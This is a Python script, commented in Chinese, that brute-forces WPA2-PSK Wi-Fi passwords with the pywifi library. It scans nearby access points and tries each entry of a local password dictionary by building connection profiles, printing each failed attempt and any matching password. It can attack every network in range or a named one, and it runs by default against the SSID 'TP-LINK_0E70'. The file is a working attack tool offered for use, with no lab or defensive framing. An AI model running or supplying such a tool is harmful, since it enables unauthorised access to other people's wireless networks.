
import pywifi
import time

  
def init_interface():
    wifi = pywifi.PyWiFi()      # 创建无线wifi对象
    iface = wifi.interfaces()[0] #抓取第一个无线网卡
    iface.disconnect()  #测试链接断开所有链接
    time.sleep(1)  #休眠1秒
    #测试网卡是否属于断开状态
    assert iface.status() in\
        [pywifi.const.IFACE_DISCONNECTED, pywifi.const.IFACE_INACTIVE]
    return iface

  #搜索wifi
  #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
def scans_wifi(iface):  # 扫描周围wifi列表
    #开始扫描
    print("^_^ 开始扫描附近wifi...")
    iface.scan()
    time.sleep(15)
    #在若干秒后获取扫描结果
    scans_res = iface.scan_results()
    #统计附近被发现的热点数量
    nums = len(scans_res)
    print("数量: %s"%(nums))
    for index,wifi_info in enumerate(scans_res):   #显示wifi列表
        print("| %d | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
    return scans_res
  

 #读取密码字典，进行匹配
def try_passwd(iface,pwd_list,wifissid):
    for pwdStr in pwd_list:
        bool1=connect(iface,pwdStr,wifissid)
        #print("返回值：%s\n" %(bool1) )
        if bool1:
            res = "===正确=== wifi名:%s  匹配密码：%s "%(wifissid,pwdStr)
            print(res)
            break
        else:
            res = "---错误--- wifi名:%s  匹配密码：%s"%(wifissid,pwdStr)
            print(res)
        time.sleep(3)
  
  #对wifi和密码进行匹配
def connect(iface,pwd_Str,wifi_ssid):
    #创建wifi链接文件
    profile = pywifi.Profile()
    profile.ssid =wifi_ssid #wifi名称
    profile.auth = pywifi.const.AUTH_ALG_OPEN  #网卡的开放
    profile.akm.append(pywifi.const.AKM_TYPE_WPA2PSK)#wifi加密算法
    profile.cipher = pywifi.const.CIPHER_TYPE_CCMP    #加密单元
    profile.key = pwd_Str #密码
    iface.remove_all_network_profiles() #删除所有的wifi文件
    tmp_profile = iface.add_network_profile(profile)#设定新的链接文件
    iface.connect(tmp_profile)#链接
    time.sleep(5)
    if iface.status() == pywifi.const.IFACE_CONNECTED:  #判断是否连接上
      isOK=True   
    else:
      isOK=False
    iface.disconnect() #断开
    time.sleep(1)
    #检查断开状态
    assert iface.status() in\
        [pywifi.const.IFACE_DISCONNECTED, pywifi.const.IFACE_INACTIVE]
    return isOK

def read_pwdfile(filepath):
    with open(filepath,'r') as f:
        return f.readlines()

def try_all_SSID():
    pwdfile = "E:\program\python-wifi\passwd.txt"
    pwd_list = read_pwdfile(pwdfile)
    interface = init_interface()
    scans_res = scans_wifi(interface)
    for wifi_info in scans_res:
        try_passwd(interface,pwd_list,wifi_info.ssid)

def try_one_SSID(ssid):
    pwdfile = "E:\program\python-wifi\passwd.txt"
    pwd_list = read_pwdfile(pwdfile)
    interface = init_interface()
    try_passwd(interface,pwd_list,ssid)

if __name__ == "__main__":
    #try_all_SSID()
    try_one_SSID("TP-LINK_0E70")